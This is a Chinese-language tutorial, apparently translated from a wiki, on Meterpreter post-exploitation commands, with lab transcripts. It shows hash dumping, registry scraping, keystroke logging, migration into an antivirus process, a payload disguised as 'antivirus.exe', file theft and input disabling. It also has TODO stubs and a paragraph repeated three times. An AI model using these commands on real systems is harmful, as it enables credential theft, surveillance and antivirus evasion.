Metasploit/MeterpreterClient
Meterpreter > shell
待辦事項 - meterpreter 簡介。
我們可以使用?或help來顯示命令列表及其簡要描述。
使用background命令將當前會話置於後臺,並將我們帶回 Metasploit 控制檯,而不會終止會話。我們可以使用sessions Metasploit 命令再次開始與會話互動。
meterpreter > background msf exploit(handler) > sessions -l Active sessions =============== Id Description Tunnel -- ----------- ------ 1 Meterpreter 192.168.50.112:443 -> 192.168.50.100:1495 msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... meterpreter >
待辦事項 顯示有關活動通道的資訊
待辦事項 關閉通道
返回 Meterpreter 控制檯並關閉活動會話。
meterpreter > exit [*] Meterpreter session 1 closed. msf exploit(handler) > sessions -l Active sessions =============== No active sessions.
我們可以使用?或help來顯示命令列表及其簡要描述。
待辦事項 與通道互動
我們可以使用irb命令啟動互動式 Ruby Shell,這使我們能夠使用 Ruby 指令碼語言與受感染的系統互動。
要檢視 API,我們需要從 Metasploit 目錄執行rdoc命令,這將建立一個 doc/index.html 檔案,我們可以在瀏覽器中開啟它。檢視 API 的 Rex::Post::Meterpreter 部分以獲取相關部分。
meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client
>> client.sys.config.sysinfo()
=> {"OS"=>"Windows XP (Build 2600, Service Pack 2).", "Computer"=>"TARGETLAPTOP"}
Meterpreter 最初在被利用的程序中執行,或者在某些情況下作為其自身可執行檔案的程序執行。如果該程序因任何原因停止,Meterpreter 會話將關閉,因此最好將會話遷移到更穩定的程序,例如 Windows 的 explorer.exe。
以下示例顯示了使用一些命令來定位使用者在其會話期間不會關閉的程序。這些命令是
- ps - 顯示正在執行的程序列表。
- getpid - 顯示 Meterpreter 正在使用的程序,顯示 EXE 負載 meter-443.exe。
- migrate pid - 將 Meterpreter 移至新的程序 ID 號,我們在此請求 McAfee 代理。
- getpid - 顯示 Meterpreter 正在使用的新的程序,我們驗證它是 McAfee 代理程序。
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
220 MPFSrv.exe C:\Program Files\McAfee\MPF\MPFSrv.exe
292 RalinkRegistryWriter.exe C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe
484 WinVNC4.exe C:\Program Files\RealVNC\VNC4\WinVNC4.exe
492 smss.exe \SystemRoot\System32\smss.exe
592 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
636 services.exe C:\WINDOWS\system32\services.exe
648 lsass.exe C:\WINDOWS\system32\lsass.exe
804 svchost.exe C:\WINDOWS\system32\svchost.exe
956 svchost.exe C:\WINDOWS\System32\svchost.exe
1404 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1432 Explorer.EXE C:\WINDOWS\Explorer.EXE
1536 mcagent.exe C:\Program Files\McAfee.com\Agent\mcagent.exe
1616 RaUI.exe C:\Program Files\RALINK\Common\RaUI.exe
1692 meter-443.exe C:\Documents and Settings\Administrator\Desktop\shared\meter-443.exe
1848 McSACore.exe C:\Program Files\McAfee\SiteAdvisor\McSACore.exe
1860 mcmscsvc.exe C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe
1884 mcnasvc.exe c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe
1996 mcproxy.exe c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe
3076 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe
3320 wpabaln.exe C:\WINDOWS\system32\wpabaln.exe
3424 mcsysmon.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe
4032 mcshield.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe
meterpreter > getpid
Current pid: 1692
meterpreter > migrate 1536
[*] Migrating to 1536...
[*] Migration completed successfully.
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
220 MPFSrv.exe C:\Program Files\McAfee\MPF\MPFSrv.exe
292 RalinkRegistryWriter.exe C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe
484 WinVNC4.exe C:\Program Files\RealVNC\VNC4\WinVNC4.exe
492 smss.exe \SystemRoot\System32\smss.exe
592 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
636 services.exe C:\WINDOWS\system32\services.exe
648 lsass.exe C:\WINDOWS\system32\lsass.exe
744 taskmgr.exe C:\WINDOWS\system32\taskmgr.exe
804 svchost.exe C:\WINDOWS\system32\svchost.exe
956 svchost.exe C:\WINDOWS\System32\svchost.exe
1404 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1432 Explorer.EXE C:\WINDOWS\Explorer.EXE
1536 mcagent.exe C:\Program Files\McAfee.com\Agent\mcagent.exe
1616 RaUI.exe C:\Program Files\RALINK\Common\RaUI.exe
1848 McSACore.exe C:\Program Files\McAfee\SiteAdvisor\McSACore.exe
1860 mcmscsvc.exe C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe
1884 mcnasvc.exe c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe
1996 mcproxy.exe c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe
3076 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe
3320 wpabaln.exe C:\WINDOWS\system32\wpabaln.exe
3424 mcsysmon.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe
4032 mcshield.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe
meterpreter > getpid
Current pid: 1536
返回 Meterpreter 控制檯並關閉活動會話。
meterpreter > quit [*] Meterpreter session 1 closed. msf exploit(handler) > sessions -l Active sessions =============== No active sessions.
待辦事項 從通道讀取資料
我們可以使用run命令執行 Meterpreter 指令碼。如果未指定路徑,Meterpreter 將在 scripts/meterpreter/ 目錄中搜索指令碼。
在以下示例中,我們正在執行 scripts/meterpreter/scraper.rb 指令碼,該指令碼從目標提取一些基本資訊。資訊將記錄到 ~/.msf3/logs/scraper 目錄中。
meterpreter > run scraper.rb [*] New session on 192.168.50.100:1548... [*] Gathering basic system information... [*] Dumping password hashes... [*] Obtaining the entire registry... [*] Exporting HKCU [*] Downloading HKCU (C:\DOCUME~1\Administrator\LOCALS~1\Temp\xHzyoaiW.reg) [*] Cleaning HKCU [*] Exporting HKLM [*] Downloading HKLM (C:\DOCUME~1\Administrator\LOCALS~1\Temp\JYCDjVMU.reg) [*] Cleaning HKLM [*] Exporting HKCC [*] Downloading HKCC (C:\DOCUME~1\Administrator\LOCALS~1\Temp\uEATxCej.reg) [*] Cleaning HKCC [*] Exporting HKCR [*] Downloading HKCR (C:\DOCUME~1\Administrator\LOCALS~1\Temp\guYOZCzT.reg) [*] Cleaning HKCR [*] Exporting HKU [*] Downloading HKU (C:\DOCUME~1\Administrator\LOCALS~1\Temp\ZNfDGqdB.reg) [*] Cleaning HKU [*] Completed processing on 192.168.50.100:1548...
為了獲得額外的命令和功能,我們可以使用use命令載入 Meterpreter 擴充套件。
在以下示例中,我們希望使用hashdump命令從目標檢索密碼雜湊。透過使用use priv命令,我們可以載入為我們提供hashdump命令的擴充套件。我們可以使用?來驗證這一點,以列出我們可用的命令。
meterpreter > use -l
stdapi
sniffer
incognito
priv
espiameterpreter > use priv
Loading extension priv...success.
meterpreter > ?
<snip>
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
TODO 將資料寫入通道
cat 命令顯示單個檔案的內容。截至撰寫本文時,嘗試讀取空檔案時,該命令將丟擲錯誤。
meterpreter > cat passwords.txt harleydavidson password kidsbirthday
要更改目錄,使用 cd 命令。
該命令或多或少地接受反斜槓和正斜槓,儘管使用正斜槓似乎更頻繁。"." 和 ".." 分別用於訪問當前目錄和父目錄,雙引號可用於訪問名稱中帶有空格的目錄。
meterpreter > pwd C:\ meterpreter > cd /"Program Files"/"Internet Explorer" meterpreter > pwd C:\Program Files\Internet Explorer meterpreter > cd ../../"documents and settings"/Administrator/Desktop/ C:\Documents and Settings\Administrator\Desktop
當我們需要從目標檢索檔案時,我們使用 download 命令,該命令將指定的檔案傳輸到我們的本地工作目錄中。如果我們需要遞迴地下載整個目錄,我們使用 download -r 命令。
meterpreter > download users.txt [*] downloading: users.txt -> users.txt [*] downloaded : users.txt -> users.txt
要使用我們的預設文字編輯器編輯檔案,我們使用 edit 命令。在幕後,Meterpreter 將將檔案的副本下載到臨時目錄,然後在編輯完成後上傳新檔案。
meterpreter > edit users.txt
我們可以使用 getlwd (get local working directory),或使用別名 lpwd (local print working directory) 顯示我們本地機器上的當前工作目錄。
meterpreter > getlwd /home/myusername/Desktop/metasploit meterpreter > lpwd /home/myusername/Desktop/metasploit
我們可以使用 getwd (get working directory),或使用別名 pwd (print working directory) 顯示被利用機器上的當前工作目錄。
meterpreter > getwd C:\Program Files\Internet Explorer meterpreter > pwd C:\Program Files\Internet Explorer
要更改本地目錄,我們使用 lcd 命令。
該命令僅接受與您的作業系統 cd 命令相同的方式的的引數,因此請參閱您的系統文件以獲取具體說明。以下示例顯示了 Linux 系統上的 lcd。
meterpreter > lpwd /home/myusername/Desktop/metasploit meterpreter > lcd ../.. meterpreter > lpwd /home/myusername meterpreter > lcd /home/andrer/Desktop/metasploit meterpreter > lpwd /home/myusername/Desktop/metasploit
我們可以使用 lpwd (local print working directory),或使用別名 getlwd (get local working directory) 顯示我們本地機器上的當前工作目錄。
meterpreter > lpwd /home/myusername/Desktop/metasploit meterpreter > getlwd /home/myusername/Desktop/metasploit
我們可以使用 ls 命令檢視當前工作目錄和該目錄中檔案的詳細列表。檔案列表以類似於 GNU ls 程式的格式給出。
meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop\shared =============================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 100777/rwxrwxrwx 14965 fil Wed Dec 31 18:00:00 -0600 1969 meter-443.exe 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 u3
我們使用 mkdir 在目標系統上建立一個新目錄。
meterpreter > mkdir antivirus-update Creating directory: antivirus-update meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop ================================================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 antivirus-update 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 shared 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 working
我們可以使用 pwd ( print working directory),或使用別名 getwd (get working directory) 顯示我們本地機器上的當前工作目錄。
meterpreter > pwd C:\Program Files\Internet Explorer meterpreter > getwd C:\Program Files\Internet Explorer
我們可以使用 rmdir 命令刪除空目錄。如果目錄不為空,該命令將丟擲錯誤。
meterpreter > rmdir antivirus-update Removing directory: antivirus-update
要將檔案傳送到目標系統,我們使用 upload 命令,使用 -r 開關遞迴上傳目錄及其內容。在以下示例中,我們上傳了一個錯誤命名的 Meterpreter 負載。
meterpreter > upload antivirus.exe [*] uploading : antivirus.exe -> antivirus.exe [*] uploaded : antivirus.exe -> antivirus.exe meterpreter > ls Listing: C:\Documents and Settings\Administrator\Desktop\antivirus-update ================================================================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 . 40777/rwxrwxrwx 0 dir Wed Dec 31 18:00:00 -0600 1969 .. 100777/rwxrwxrwx 10912 fil Wed Dec 31 18:00:00 -0600 1969 antivirus.exe
透過使用 ipconfig 命令或internet protocol configuration,我們可以檢視目標上所有網路介面的列表。檢視 ipconfig 的結果對於確定目標直接連線到哪些網路最有用。
例如,檢視以下內容,我們可以看到目標連線到 192.168.50.0/24 網路,內部地址為 192.168.50.100。
meterpreter > ipconfig MS TCP Loopback interface Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 National Semiconductor DP83815-Based PCI Fast Ethernet Adapter - Packet Scheduler Miniport Hardware MAC: 00:0b:cd:30:db:0a IP Address : 192.168.50.100 Netmask : 255.255.255.0
將本地埠轉發到遠端服務
檢視和修改路由表
執行命令
要執行命令,您需要對檔案“cmd.exe”應用程式使用 execute "-f”。
這將在後臺執行。要檢查此項,請輸入 ps
execute -f cmd.exe 54124---> 程序 ID
獲取當前程序識別符號
獲取伺服器執行的使用者
終止程序
ps 命令列出正在執行的程序,它是一個重要的命令,原因有二。首先,瞭解目標系統上執行的應用程式和服務有助於我們瞭解系統的狀態。其次,在某些情況下,Meterpreter 最初執行在被利用的程序內,或者作為其自身可執行檔案的程序。如果該程序因任何原因停止,Meterpreter 會話將關閉,因此將會話遷移到更穩定的程序(例如 Windows 的 explorer.exe)是一種良好的做法。
meterpreter > ps
Process list
============
PID Name Path
--- ---- ----
284 MPFSrv.exe C:\Program Files\McAfee\MPF\MPFSrv.exe
424 RalinkRegistryWriter.exe C:\Program Files\RALINK\Common\RalinkRegistryWriter.exe
492 smss.exe \SystemRoot\System32\smss.exe
592 winlogon.exe \??\C:\WINDOWS\system32\winlogon.exe
612 WinVNC4.exe C:\Program Files\RealVNC\VNC4\WinVNC4.exe
636 services.exe C:\WINDOWS\system32\services.exe
648 lsass.exe C:\WINDOWS\system32\lsass.exe
804 svchost.exe C:\WINDOWS\system32\svchost.exe
876 NOTEPAD.EXE C:\WINDOWS\system32\NOTEPAD.EXE
964 svchost.exe C:\WINDOWS\System32\svchost.exe
1348 spoolsv.exe C:\WINDOWS\system32\spoolsv.exe
1464 Explorer.EXE C:\WINDOWS\Explorer.EXE
1540 mcagent.exe C:\Program Files\McAfee.com\Agent\mcagent.exe
1612 RaUI.exe C:\Program Files\RALINK\Common\RaUI.exe
1840 McSACore.exe C:\Program Files\McAfee\SiteAdvisor\McSACore.exe
1852 mcmscsvc.exe C:\PROGRA~1\McAfee\MSC\mcmscsvc.exe
1876 mcnasvc.exe c:\PROGRA~1\COMMON~1\mcafee\mna\mcnasvc.exe
1928 mcproxy.exe c:\PROGRA~1\COMMON~1\mcafee\mcproxy\mcproxy.exe
1952 mcshield.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcshield.exe
3028 wuauclt.exe C:\WINDOWS\system32\wuauclt.exe
3168 wpabaln.exe C:\WINDOWS\system32\wpabaln.exe
3240 mcsysmon.exe C:\PROGRA~1\McAfee\VIRUSS~1\mcsysmon.exe
透過執行 reboot 命令,我們將重啟目標系統。
meterpreter > reboot Rebooting...
修改並與遠端登錄檔互動
在遠端計算機上呼叫 RevertToSelf()。
使用 shutdown 命令將關閉目標系統。
meterpreter > shutdown Shutting down...
在滲透後階段,我們應該執行的最早命令之一是 sysinfo 命令。執行此命令將提供計算機名稱和作業系統版本,這通常可以提供有關目標系統用途的線索。
meterpreter > sysinfo Computer: TARGETLAPTOP OS : Windows XP (Build 2600, Service Pack 2).
待辦事項:列出所有可訪問的桌面和視窗站
使用 idletime 命令將返回目標系統使用者空閒的時間長度。
meterpreter > idletime User has been idle for: 51 secs
我們可以使用 keyscan 系列命令來捕獲目標的鍵盤輸入。keyscan_start 和 keyscan_stop 命令分別開始和結束記錄擊鍵,而 keyscan_dump 命令則在我們的客戶端上顯示所有記錄的擊鍵。
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... This text is actually being typed into the target's keyboard.<Return> meterpreter > keyscan_stop Stopping the keystroke sniffer...
我們可以使用 keyscan 系列命令來捕獲目標的鍵盤輸入。keyscan_start 和 keyscan_stop 命令分別開始和結束記錄擊鍵,而 keyscan_dump 命令則在我們的客戶端上顯示所有記錄的擊鍵。
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... This text is actually being typed into the target's keyboard.<Return> meterpreter > keyscan_stop Stopping the keystroke sniffer...
我們可以使用 keyscan 系列命令來捕獲目標的鍵盤輸入。keyscan_start 和 keyscan_stop 命令分別開始和結束記錄擊鍵,而 keyscan_dump 命令則在我們的客戶端上顯示所有記錄的擊鍵。
meterpreter > keyscan_start Starting the keystroke sniffer... meterpreter > keyscan_dump Dumping captured keystrokes... This text is actually being typed into the target's keyboard.<Return> meterpreter > keyscan_stop Stopping the keystroke sniffer...
待辦事項:移至不同的工作站和桌面
使用 uictl 命令,我們可以停用目標的鍵盤和滑鼠輸入。
meterpreter > uictl disable mouse Disabling mouse... meterpreter > uictl enable mouse Enabling mouse... meterpreter > uictl disable keyboard Disabling keyboard... meterpreter > uictl enable keyboard Enabling keyboard...